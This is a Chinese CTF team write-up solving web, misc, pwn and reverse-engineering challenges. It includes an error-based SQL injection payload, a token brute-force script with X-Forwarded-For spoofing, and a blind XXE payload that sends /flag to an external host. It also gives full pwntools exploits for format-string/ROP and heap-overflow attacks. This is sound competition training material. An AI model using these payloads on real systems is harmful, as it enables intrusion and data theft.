CUMT,CUIT只差一个字母,人家的校赛和我们的校赛差距就显现出来了2333
题目质量很高,所以我们这渣渣队伍就只能做做MISC了

0x00 PENTEST

简陋的博客

进去大体看了一下,没有什么逻辑,看到了查看博客的页面,两个参数,想想可能是lfi,但是测试了一下发现不是,这是队友说可能是个注入,就开始注,
把index.php的a参数随便改改,会爆出数据库错误,于是开始探测他怎么写的
用`测试,发现可以报错,最终探测的语句是:

1
select * from `sqli.table` where id =1

但是这里的id 强转int了,于是开始在table里注入
构造如下:

1
select * from `sqli.table`,`information_schema.tables` where id =1

继而构造报错注入

1
select * from `sqli.table`,(select 1 from  (select count(*),concat((select flag from sqli.flag_is_here /*!limit*/ 0,1),floor(rand(0)*2))x from  information_schema.tables group by x)a) as a,`information_schema.tables` where id =1

然后探测一下数据库,即可拿到flag
flag: SYC{O0o._O0o._O0o._O0o._O0o.}
PS:吐槽limit绕过,,,,

Time, grasp is gold, catch up is running water.

  1. 第一步是想办法登进admin的界面
    burp抓包找回密码的页面

在最后的最后发现这个。。我找了好一会儿。。
然后就是观察这个链接,token是时间戳的MD5,这个cmd5一解密就看出来了。
然后在查看源码里有管理员的邮箱

这样的话,就是找回密码时候请求一次这个邮箱,然后就暴力看看把时间戳找到就好。
还有一个问题是

我一开始还以为是被ban了。。。
需要绕过这个
第一反应就是XFF
这里我不确定具体的检查机制是看一个网段的ip还是啥。。。因为同一个ip,刷新几次之后又被ban了。。。
所以写脚本暴力的时候,headers也要考虑进去。
脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import hashlib
import time

def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()

t=int(time.time())
data={'email':'syc@admin.com','submit':''}
url="http://54.223.247.98:2001/requestreset.php"
r=requests.post(url=url,data=data)
for i in range(t,t+1000):
tt=md5(str(i))
payload="http://54.223.247.98:2001/resetpassword.php?email=syc@admin.com&token={time}".format(time=tt)
headers={'X-Forwarded-For':"54.223.244.{ss}".format(ss=str(i-t))}
print payload
try:
r=requests.get(url=payload,headers=headers)
print r.content
except:
pass

然后就是跑出个能用的

http://54.223.247.98:2001/resetpassword.php?email=syc@admin.com&token=b61f002e2af65fad5fcbee58cff48432

修改成功。。。

  1. 进去以后就是一个写xml的地方,然后,,,坑得要死
    说好的在Home目录呢。。。

    这里因为过滤了&,所以不能直接回显,需要通过BlindXXE
    参考了两个链接
    http://blog.csdn.net/u011721501/article/details/43775691
    http://bendawang.site/article/XXE-Injection%E7%AC%94%E8%AE%B0

payload的形式也大抵一样,只是因为这个还过滤了协议,所以需要把读取内容的协议放到远程文件中去。特别注意一点是内层实体中不能使用%来定义参数实体,因为它在一个字符串中,需要用转义的%

具体的payload如下;
admin.php页面

1
2
3
4
5
6
<!DOCTYPE ANY[
<!ENTITY % r SYSTEM "http://45.76.192.252/1.xml">
%r;
%all;
%s;
]>

1.xml

1
2
<!ENTITY % f SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % all "<!ENTITY % s SYSTEM 'http://45.76.192.252/xxe.php?f=%f;'>">

xxe.php

1
2
3
<?php
file_put_contents("/tmp/1.txt", $_GET['f']);
?>

总结一点:flag在哪里很坑,&#x25;很坑,没玩过XXE。。。
flag截图

解base64
SYC{GJf#cW7s@9STG#@522wqV5Xh&GCv@&qEy3^QPT!v}

0x01 MISC

Mis.Chami

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Hamicyc:
19745 4d21 M!
21281 5321 S!
18721 4921 I!
13389 344d 4M
22851 5943 YC
21325 534d SM
17204 4334 C4
18484 4834 H4
17275 437b C{
21337 5359 SY
14425 3859 8Y ??????
32083 7d53 }S
18555 487b H{
14152 3748 7H
14205 377d 7}
18813 497d I}
29565 737d s}
25911 6537 e7
30519 7737 w7
18803 4973 Is
13157 3365 3e
13683 3573 5s
13109 3335 35
30517 7735 w5
30515 7733 w3

根据提示,把数字转成16进制,然后转成字符串,字符串代表连通的两个点,根据题目提示,NP问题,典型的哈密顿回路
然后找一条通路SYC{H4M!Is5w3e7}不过让我疑惑的地方是,8Y呢,,,最后试了一下这个答案,对了233好迷

Terraria

不知道从啥时候开始,ctf题目开始出一些小游戏了233,从魂斗罗到MC,这种题目的套路就是玩呗。。。
在被巨龙和各种小怪物秒杀(血量给高一点啊喂)以及地下,水下等等。。最终上天,看到最上面的flag的一部分

****LOVE_TERRARIA!}(我实在是没有力气再往上爬了orz,直接猜flagSYC{I_LOVE_TERRARIA!}23333
P.S.我的id是 当然是选择原谅她啦

小小的PDF

打开pdf有两张图片,用010 editor打开有三张,抠出第张看到flag


我萌吗

先查看网页的源代码

1
2
3
4
5
6
7
8
9
10
<html>
<head>
<script src="./someThing.js" type="text/javascript"></script>
<script src="./noBug.js" type="text/javascript"></script>
</head>
<body>
<img src="./key.png" alt="" width="500" height="500">
<img src="./dest.png" width="500" height="500" alt="">
</body>
</html>

someThing.js,嗯,我翻译了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var arr=[
'5L2g5Lus5aW9',//你们好
'5oiR5piv5LiA5ZCN5oKy5YKs55qE5YmN56uv',//我是一名悲催的前端
'5oiR5pys6K+l5bm456aP5b+r5LmQ55qE5YaZ552A5YmN56uv',//我本该幸福快乐的写着前端
'57uT5p6c5Y206KKr5peg6Imv55qE5p+g5qqs5Y+U5Y+U5ouJ5p2l5Ye66aKY',//结果却被无良的柠檬叔叔拉来出题
'5Y+j5Lqo77yM5oiR5omN5LiN5Lya5Ye66aKY5ZGi77yM5oiR5bCx6YCB5L2g5Lus5LiA55m+5YiG5bCx5aW95LqG5Zib',//口亨,我才不会出题呢,我就送你们一百分就好了嘛
'5ZSJ77yM5Lmf5LiN55+l6YGT5Lya5LiN5Lya6KKr6aqC55qE6K+0',//唉,也不知道会不会被骂的说
'5Y+v5piv5oiR55yf55qE5LiN5Lya5Ye66aKY5ZGA',//可是我真的不会出题呀
'5oy66K+05Ye66aKY6L+Y6KaB54OkKOWIkuaOiSnogIPohJHmtJ4=',//挺说出题还要烤(划掉)考脑洞
'6L+Z5bm05aS05YmN56uv55yf5LiN5a655piT5ZWK',//这年头前端真不容易啊
'5ZOm77yM5a+55LqG',//哦,对了
'5beu54K55b+Y5LqG6K+0',//差点忘了说
'6aKY55uu5o+Q56S65pivOui/meaYr+S4gOmBk+S7o+eggemYheivu+mimA==',//题目提示是:这是一道代码阅读题
'5Luj56CB5Zyw5Z2A5L2g5Lus5Y+v5Lul5om+5om+77yM5oiR5Lmf6K6w5LiN5riF5o6J5Zyo5ZOq6YeM5LqGMjMzMw==',//代码地址你们可以找找,我也记不清掉在哪里了2333
'6K+d6K+06L+Z5qC357uZ5o+Q56S65piv5LiN5piv5pyJ54K55ZWw5Zem5ZWK',//话说这样给提示是不是有点啰嗦啊
'566X5LqG77yM5bCx6L+Z5qC35ZCn77yM5aW957Sv5ZGA',//算了,就这样吧,好累呀
'cC5zLjrmnIDlkI7nmoTnrZTmoYjmmK/kuIDmrrViYXNlNjTnoIHvvIzkuI3pnIDopoHop6PnoIE=',//p.s.:最后的答案是一段base64码,不需要解码
'cC5wLnMuOui/memBk+mAgeWIhumimOivt+S4jeimgeWkquaEn+iwouaIkQ==',//p.p.s.:这道送分题请不要太感谢我
'cC5wLnAucy465pys5Lq65Y2V6Lqr77yMT1Ja77yM6Jm954S26YCJ5omL5Y+v6IO95rKh5pyJ5aa557q4KOWbpyk=',//p.p.p.s.:本人单身,ORZ,虽然选手可能没有妹纸(囧)
'5LiJ5pel5ZCO77yM5oiR6KKr5p+g5qqs5Y+U5Y+U5pq05omT5LqG5LiA6aG/77yM5ZOt5Ye65aOwfg==',//三日后,我被柠檬叔叔暴打了一顿,哭出声~
'5Y+U5Y+U6K+06L+Z5Liq5by55qGG5aSq54Om5LqG77yM5oiR6K+05L2g5Y+v5Lul5YWz5o6J5ZWK',//叔叔说这个弹框太烦了,我说你可以关掉啊
'5Y+U5Y+UOiLkvaDmsqHor7TlhbPmjonkuI3kvJrlvbHlk43lgZrpopjnmoTllYoi',//叔叔:"你没说关掉不会影响做题的啊"
'6KKr5aSa5qyh5pq05omT5ZCO5bCP55Sf6KGo56S677yM5bCP55Sf6KaB5pCe5LqL5oOF',//被多次暴打后小生表示,小生要搞事情
'5omA5Lul5bCP55Sf5oqK5pyq5Y6L57yp55qE5Luj56CB55u05o6l5pS+5Zyo5LqG5Y6L57yp5Luj56CB55qE5ZCM57qn55uu5b2V',//所以小生把未压缩的代码直接放在了压缩代码的同级目录
'5paH5Lu25ZCN5pivOndveWFvZ2Fvc2hpcWluZy5nYW9zaGlxaW5n77yM5ZCE5L2N5ou/5aW956aP5Yip77yM6JKZ5aOw5Y+R5aSn6LSi'//文件名是:woyaogaoshiqing.gaoshiqing,各位拿好福利,蒙声发大财
]
for(var i=0;i<arr.length;i++){
console.log(arr[i])
}

noBug.js,重点在最后一行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
//
// _oo0oo_
// o8888888o
// 88" . "88
// (| -_- |)
// 0\ = /0
// ___/`---'\___
// .' \\| |// '.
// / \\||| : |||// \
// / _||||| -:- |||||- \
// | | \\\ - /// | |
// | \_| ''\---/'' |_/ |
// \ .-\__ '-' ___/-. /
// ___'. .' /--.--\ `. .'___
// ."" '< `.___\_<|>_/___.' >' "".
// | | : `- \`.;`\ _ /`;.`/ - ` : | |
// \ \ `_. \_ __\ /__ _/ .-` / /
// =====`-.____`.___ \_____/___.-`___.-'=====
// `=---='
//
//
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
// 佛祖保佑 永无BUG
//
//---------------------------------------------------------------------


/**
* _______________#########_______________________
* ______________############_____________________
* ______________#############____________________
* _____________##__###########___________________
* ____________###__######_#####__________________
* ____________###_#######___####_________________
* ___________###__##########_####________________
* __________####__###########_####_______________
* ________#####___###########__#####_____________
* _______######___###_########___#####___________
* _______#####___###___########___######_________
* ______######___###__###########___######_______
* _____######___####_##############__######______
* ____#######__#####################_#######_____
* ____#######__##############################____
* ___#######__######_#################_#######___
* ___#######__######_######_#########___######___
* ___#######____##__######___######_____######___
* ___#######________######____#####_____#####____
* ____######________#####_____#####_____####_____
* _____#####________####______#####_____###______
* ______#####______;###________###______#________
* ________##_______####________####______________
* 来自公主的祝福
* */


// ┏┛ ┻━━━━━┛ ┻┓
// ┃       ┃
// ┃   ━   ┃
// ┃ ┳┛  ┗┳ ┃
// ┃       ┃
// ┃   ┻   ┃
// ┃       ┃
// ┗━┓   ┏━━━┛
// ┃   ┃ 神兽保佑
// ┃   ┃ 代码无BUG!
// ┃   ┗━━━━━━━━━┓
// ┃        ┣┓
// ┃     ┏┛
// ┗━┓ ┓ ┏━━━┳ ┓ ┏━┛
// ┃ ┫ ┫ ┃ ┫ ┫
// ┗━┻━┛ ┗━┻━┛
// code address:./6YC46L2p/55qE/5Luj56CB55uu5b2V/asdasdasdasd.min.js

这应该就是上文讲到的压缩了的代码了/6YC46L2p/55qE/5Luj56CB55uu5b2V/asdasdasdasd.min.js

1
function encode(e,r,n,a,i){for(var o=[],t=[],f=fs.readFileSync(r),g=fs.readFileSync(n),s=new pp(f),d=new pp(g),h=s.size(),c=h.width*h.height,l=(new Buffer(4*c),0);l<e.length;l++)for(v=Math.floor(c*Math.random());;){if(!o.includes(v)){o.push(v),t.push(l);break}v=(v+1)%Math.floor(c)}for(l=0;l<h.height;l++)for(var p=0;p<h.width;p++){var u=o.findIndex(function(e){return e===l*h.width+p}),b=t[u];if(-1!==u){var v=s.get(p,l);100*Math.random()>50&&!o.includes(p*h.width+l)?(s.set(p,l,{r:255-v.r,g:255-v.g,b:255-v.b,a:v.a}),d.set(l,p,{r:v.r,g:b,b:e.charCodeAt(b)})):(s.set(p,l,{r:v.r,g:b,b:255-v.b,a:v.a}),d.set(p,l,{r:v.r,g:e.charCodeAt(b),b:v.b,a:v.a}))}}s.save(a,function(e){console.log(e)}),d.save(i,function(e){console.log(e)})}var pp=require("png-img"),fs=require("fs"),flag="5L2g5LiN5Lya5Lul5Li66L+Z5piv562U5qGI5ZCnPw==";encode(flag,"1.png","ks.png","dest.png","key.png");

下载文件woyaogaoshiqing.gaoshiqing美化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
function encode(flag, path, keySrc, dest, dest2) {
for (var used = [], relPosition = [], jpegData = fs.readFileSync(path), ks = fs.readFileSync(keySrc), pngtool = new pp(jpegData), key = new pp(ks), picSize = pngtool.size(), pixelNum = picSize.width * picSize.height, i = (new Buffer(4 * pixelNum), 0); i < flag.length; i++)
for (temp = Math.floor(pixelNum * Math.random());;)
{
if (!used.includes(temp)) {
used.push(temp), relPosition.push(i);
break
}
temp = (temp + 1) % Math.floor(pixelNum)
}
for (i = 0; i < picSize.height; i++)
for (var j = 0; j < picSize.width; j++)
{
var addrIndex = used.findIndex(function(item) {
return item === i * picSize.width + j
}),
flagIndex = relPosition[addrIndex];
if (-1 !== addrIndex)
{
var temp = pngtool.get(j, i);
100 * Math.random() > 50 && !used.includes(j * picSize.width + i) ? (
pngtool.set(j, i, {
r: 255 - temp.r,
g: 255 - temp.g,
b: 255 - temp.b,
a: temp.a
}), key.set(i, j, {
r: temp.r,
g: flagIndex,
b: flag.charCodeAt(flagIndex)
}))

:

(
pngtool.set(j, i, {
r: temp.r,
g: flagIndex,
b: 255 - temp.b,
a: temp.a
}), key.set(j, i, {
r: temp.r,
g: flag.charCodeAt(flagIndex),
b: temp.b,
a: temp.a
}))
}
}
pngtool.save(dest, function(e) {
console.log(e)
}), key.save(dest2, function(e) {
console.log(e)
})
}
var pp = require("png-img"),
fs = require("fs"),
flag = "5L2g5LiN5Lya5Lul5Li66L+Z5piv562U5qGI5ZCnPw==";
encode(flag, "1.png", "ks.png", "dest.png", "key.png");
//如果你找到了这个文件,恭喜你,就真的成送分题了

很明显这一段是nodejs代码,根据1.png和ks.png以及flag生成了dest.png,key.png
嗯。。。目前我手上只有三张图(没有ks.png),所以算法一定是可逆的,写decode函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function decode(path, dest, dest2){
var flag=[];
var relPosition = [],
f1 = fs.readFileSync(path),
d1 = fs.readFileSync(dest),
d2 = fs.readFileSync(dest2),
ff1 = new pp(f1),
dd1 = new pp(d1),
key = new pp(d2),
picSize = ff1.size(),
pixelNum = picSize.width * picSize.height;
for (i = 0; i < picSize.height; i++)
for (var j = 0; j < picSize.width; j++)
{
var t1=ff1.get(j, i);
var t2=dd1.get(j,i);
if((t1.b-t2.b)!=0)
{
if((t1.r-t2.r)==0)
{
var k1=key.get(j,i);
flag[t2.g]=String.fromCharCode(k1.g);

}else{
var k1=key.get(i,j);
flag[k1.g]=String.fromCharCode(k1.b);
}
}
}
console.log(flag);
}
decode("1.png","dest.png","key.png");

得到flag为b25seSBjYXQgd2lsbCBkZWNvZGUgdGhpczIzMzMzMzM=我偏要解码一下only cat will decode this2333333
P.S. 果然程序员小哥哥都是闷骚型,不过打CTF的妹子可能真的有哦#(滑稽)

签到题

私信微博公众号”三叶草小组Syclover”我要抢一血flag得到flagSYC{598137ff6a8f593e8ea02b6eed738f50}

藏着东西的流量包

不得不说,你们的套路太深了。。。90多M的流量包,我愣是过滤了5小时(还是我太菜了吧),那么多的DNS被我写的过滤语句第一个就过滤了…………
给你们看看我失败的过滤语句

1
http&&ip.src!=111.206.222.249&&ip.src!=61.135.169.121&&ip.src!=119.39.204.33&&ip.src!=223.252.199.10&&ip.src!=59.111.160.195&&ip.src!=59.111.160.197&&ip.src!=119.39.204.32&&ip.dst!=111.206.222.249&&ip.dst!=61.135.169.121&&ip.dst!=119.39.204.33&&ip.dst!=223.252.199.10&&ip.dst!=59.111.160.195&&ip.dst!=59.111.160.197&&ip.dst!=119.39.204.32&&ip.src!=113.207.0.118&&ip.dst!=113.207.0.118&&ip.src!=113.200.193.62&&ip.dst!=113.200.193.62&&ip.src!=113.207.42.117&&ip.dst!=113.207.42.117&&ip.src!=175.154.189.30&&ip.dst!=175.154.189.30&&ip.src!=123.58.180.117&&ip.dst!=123.58.180.117&&ip.src!=113.207.39.7&&ip.dst!=113.207.39.7&&ip.src!=113.207.45.123&&ip.dst!=113.207.45.123&&ip.src!=113.207.42.58&&ip.dst!=113.207.42.58&&ip.src!=113.207.42.118&&ip.dst!=113.207.42.118&&ip.src!=163.177.72.159&&ip.dst!=163.177.72.159&&ip.src!=113.207.53.31&&ip.dst!=113.207.53.31&&ip.src!=163.177.89.163&&ip.dst!=163.177.89.163&&ip.src!=123.138.42.48&&ip.dst!=123.138.42.48&&ip.src!=61.135.185.159&&ip.dst!=61.135.185.159&&ip.src!=106.39.162.29&&ip.dst!=106.39.162.29&&ip.src!=221.204.226.158&&ip.dst!=221.204.226.158&&ip.src!=42.120.219.93&&ip.dst!=42.120.219.93&&ip.src!=113.207.42.114&&ip.dst!=113.207.42.114&&ip.src!=202.108.23.152&&ip.dst!=202.108.23.152&&ip.src!=27.221.30.109&&ip.dst!=27.221.30.109&&ip.src!=123.56.20.66&&ip.dst!=123.56.20.66&&ip.src!=43.254.53.187&&ip.dst!=43.254.53.187&&ip.src!=27.221.28.197&&ip.dst!=27.221.28.197&&ip.src!=123.126.104.122&&ip.dst!=123.126.104.122&&ip.src!=117.25.155.158&&ip.dst!=117.25.155.158&&ip.src!=119.6.229.39&&ip.dst!=119.6.229.39&&ip.src!=123.138.67.63&&ip.dst!=123.138.67.63&&ip.src!=123.138.67.81&&ip.dst!=123.138.67.81&&ip.src!=27.221.28.191&&ip.dst!=27.221.28.191&&ip.src!=60.217.249.114&&ip.dst!=60.217.249.114&&ip.src!=117.25.155.162&&ip.dst!=117.25.155.162&&ip.src!=123.125.116.12&&ip.dst!=123.125.116.12&&ip.src!=117.25.155.158&&ip.dst!=117.25.155.158&&ip.src!=123.126.104.243&&ip.dst!=123.126.104.243&&ip.src!=61.135.186.152&&ip.dst!=61.135.186.152&&ip.src!=54.223.225.178&&ip.dst!=54.223.225.178&&ip.src!=23.37.139.27&&ip.dst!=23.37.139.27&&ip.src!=42.156.140.84&&ip.dst!=42.156.140.84&&ip.src!=61.135.169.125&&ip.dst!=61.135.169.125&&ip.src!=210.22.60.183&&ip.dst!=210.22.60.183&&ip.src!=101.69.131.13&&ip.dst!=101.69.131.13&&ip.src!=112.80.255.92&&ip.dst!=112.80.255.92&&ip.src!=123.138.42.31&&ip.dst!=123.138.42.31&&ip.src!=113.200.91.218&&ip.dst!=113.200.91.218&&ip.src!=27.221.106.16&&ip.dst!=27.221.106.16&&ip.src!=27.221.30.105&&ip.dst!=27.221.30.105&&ip.src!=42.236.9.101&&ip.dst!=42.236.9.101&&ip.src!=54.223.84.128&&ip.dst!=54.223.84.128&&ip.src!=119.6.229.38&&ip.dst!=119.6.229.38

感觉出题的人就是写了个脚本,疯狂请求dns,然后自己打开了网易云音乐、B站、A站、嘀哩嘀哩……..基本上所有的http请求都是垃圾的除了一条

1
ip.src==192.168.236.1||ip.dst==192.168.236.1

这里能找到一个key.zip
得到keysyc10v3r交了一下。。。嗯。。。不对
继续看吧。。发现dns请求很奇怪。。。都是4位字符.hacker.com
挨个写下来
VTJGc2RHVmtYMStpNFMxc29pci9SVDZtb3RTSmRnTFFDRzVNWlRlbG9nckVPQStoeE5MWEVDbHI4WUpoYWx1Yw==
base64解码一次
U2FsdGVkX1+i4S1soir/RT6motSJdgLQCG5MZTelogrEOA+hxNLXEClr8YJhaluc
用上面的key解AES
得到flag
SYC{0h_0h_0h_dns}
在这题中我学习了新套路,重点是还收获了出题人常去的网站。。。嗯这波不亏(B站基佬千千万~)

问卷调查

5星好评哦(づ ̄3 ̄)づ╭❤~flagSYC{8bbb5314821d02dc5fcbc2f4eb5a8013}

0x02 Pwn

fileShare

Check

程序全开保护

Vuln

有两处漏洞

  1. sprintf格式化
  2. 栈溢出

exp

格式化只能一次,于是考虑溢出canary,然后利用栈溢出进行rop

rop

由于所有保护全开,rop前需要先得到程序加载的地址,这里一并通过sprintf溢出

1
2
payload = '1'*0x8 + "_%26$llx_%30$llx_" + '\n'
leav_message(payload)
code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
import time, sys

elf_name = "./pwn200"

#retmote args
remote_host = "54.222.255.223"
remote_port = 50002
context.clear(arch="amd64")
elf = ELF(elf_name)

io = remote(remote_host, remote_port)

def dlySend(sdstr):
io.send(sdstr)
time.sleep(0.05)

def mmenu(mindex):
io.recvuntil("Leave a message\n")
io.sendline(str(mindex))

def mLogin(content):
mmenu(1)
io.recvuntil("Name:")
dlySend(content)

def get_file(f_name):
mmenu(2)
io.recvuntil("input the filename:")
dlySend(f_name)

def leav_message(mmessg):
mmenu(3)
io.recvuntil("Input your msg:")
dlySend(mmessg)

def s_exp():
rd_flag_off = 0x626
sfmt_n = sys.argv[1]
mLogin("aa"+'\n')
payload = '1'*0x8 + "_%26$llx_%30$llx_%" + sfmt_n + "$llx_" + '\n'
leav_message(payload)
io.recvuntil("1"*8+'_')
data = io.recvuntil("_")[:-1]
lk_canary = int(data, 16)
log.info("canary data: "+hex(lk_canary))
data = io.recvuntil("_")[:-1]
lk_mainVuln = int(data, 16) - 0xE3
log.info("main vuln addr: "+hex(lk_mainVuln))
rd_flg_addr = lk_mainVuln - rd_flag_off
log.info("rd flag addr: "+hex(rd_flg_addr))
print io.recvuntil("\n")
payload = 'a'*0x28
payload += p64(lk_canary)
payload += p64(rd_flg_addr) * 6
payload += '\n'
mLogin(payload)
print io.recvall()

if __name__ == "__main__":
s_exp()
#pause()

notebook

Check

程序全开保护

Vuln

  1. 存在堆溢出
  2. read读取字符串结尾不清0,可以进行泄露

exp

leak

要泄露libc,可以先leak处got地址,然后再leak出函数地址。

或者直接leak出main arena

code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
from pwn import *
import time, sys

LOCAL = False
elf_name = "./pwn3_ok"

remote_host = "54.222.255.223"
remote_port = 50003
context.clear(arch="amd64")
elf = ELF(elf_name)

if LOCAL:
free_offset = 0x83940
system_offset = 0x45390
smlbin_area_off = 0x3C3B78
execv_binsh_off = 0xF0567
malloc_hook_off = 0x3C3B10
context.log_level = "debug"
mine_env = os.environ
mine_env['LD_PRELOAD'] = "/home/deadfish/Pwn/Tools/preeny/x86_64-linux-gnu/dealarm.so:"
io = process(elf_name, env=mine_env)
else:
context.log_level = "debug"
free_offset = 0x7B8B0
system_offset = 0x3E760
io = remote(remote_host, remote_port)

def dlySend(sdstr):
io.send(sdstr)
time.sleep(0.01)

def mmenu(mopt):
io.recvuntil("$ ")
io.sendline(mopt)

def add_note(msize, mname, mcontent):
mmenu("new")
io.recvuntil("$ note size:")
io.sendline(str(msize))
io.recvuntil("$ note name:")
dlySend(mname)
io.recvuntil("$ note content:")
dlySend(mcontent)

def edit_note(mid, mname, mcontent):
mmenu("edit")
io.recvuntil("$ note index:")
io.sendline(str(mid))
io.recvuntil("$ note name:")
dlySend(mname)
io.recvuntil("$ note content:")
dlySend(mcontent)

def del_note(mindex):
mmenu("delete")
io.recvuntil("$ note index:")
io.sendline(str(mindex))

def show_note(mindex):
mmenu("show")
io.recvuntil("$ note index:")
io.sendline(str(mindex))

def exit_nn():
mmenu("exit")

def mark_nt(mindex, minfo):
mmenu("mark")
io.recvuntil("$ index of note you want to mark:")
io.sendline(str(mindex))
io.recvuntil("$ mark info:")
dlySend(minfo)

def show_mark(mindex):
mmenu("show_mark")
io.recvuntil("$ mark index:")
io.sendline(str(mindex))

def del_mark():
mmenu("delete_mark")
io.recvuntil("$ mark index:")
io.sendline(str(mindex))

def edit_mark(mindex, minfo):
mmenu("edit_mark")
io.recvuntil("$ mark index:")
io.sendline(str(mindex))
io.recvuntil("$ mark content:")
dlySend(minfo)


# 泄露堆地址 利用read结尾不清0
def s_leak():
for i in range(8):
tmp_name = chr(0x30+i)*0x20
tmp_content = chr(0x41+i)*0x22 + '\n'
add_note(0x100, tmp_name, tmp_content)
show_note(1)
io.recvuntil("name:"+'1'*0x20)
data = io.recvuntil('\n')[:-1]
lk_heap_addr = u64(data.ljust(8, chr(0))) - 0x1a0
log.info("heap base addr: "+hex(lk_heap_addr))
return lk_heap_addr

# 泄露主函数地址
def s_lk_main(lk_heap_addr):
for i in range(4):
tmp_info = "/bin/sh" + '\n'
mark_nt(i, tmp_info)
payload = 'c'*0x20
payload += p64(0) + p64(0x21)
payload += p32(2) + p32(0x20)
payload += p64(lk_heap_addr+0xB40) # funcdis addr
edit_mark(1, payload)

show_mark(2)
data = io.recvline()[:-1]
lk_func_addr = u64(data.ljust(8, chr(0)))
log.info("function addr: "+hex(lk_func_addr))
return lk_func_addr

def s_exp():
heap_bs_addr = s_leak()
mpts_faddr = s_lk_main(heap_bs_addr)
bss_nt_lst = mpts_faddr + 0x20245D
log.info("bss addr: "+hex(bss_nt_lst))
# change list ptr
# 泄露libc
payload = 'c'*0x20
payload += p64(0) + p64(0x21)
payload += p32(2) + p32(0x20)
payload += p64(mpts_faddr+0x2022F5)
edit_mark(1, payload)
show_mark(2)
data = io.recvline()[:-1]
libc_addr = u64(data.ljust(8, chr(0))) - free_offset
log.info("libc addr: "+hex(libc_addr))
system_addr = system_offset + libc_addr
pause()
# 改变函数指针
payload = 'c'*0x20
payload += p64(0) + p64(0x21)
payload += p32(2) + p32(0x20)
payload += p64(heap_bs_addr+0xB38)
edit_mark(1, payload)
payload = p64(heap_bs_addr+0xB50) + p64(system_addr) + '\n'
edit_mark(2, payload)
show_mark(2)
io.interactive()

if __name__ == "__main__":
s_exp()
pause()

0x03re

re150

程序段是要解密后才能看的,main:0x804848F下断点

1
2
73 8D F2 4C C7 D4 7B F7  18 32 71 0D CF DC 67 4F
7F 0B 6D 00 00 00 00 00 00 00 00 00 00 00 00 00

分析知是循环移位

解密如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
alph_Ls = [0x73, 0x8D, 0xF2, 0x4C, 0xC7, 0xD4, 0x7B, 0xF7, 0x18, 0x32, 0x71, 0x0D, 0xCF, 0xDC, 0x67, 0x4F, 0x7F, 0x0B, 0x6D]

chk_list = []

for c in alph_Ls:
chk_list.append(c^0x20)

print "len:", len(chk_list)
res = ""
for i in range(len(chk_list)):
cp = chk_list[i]
c = cp^i
off = i&7
left = (c<<off)&0xFF
rigtht = (c>>(8-off))&0xFF
m = (left|rigtht)&0xFF
res += chr(m)

print res
# SYC{>>Wh06m1>>R0Ot}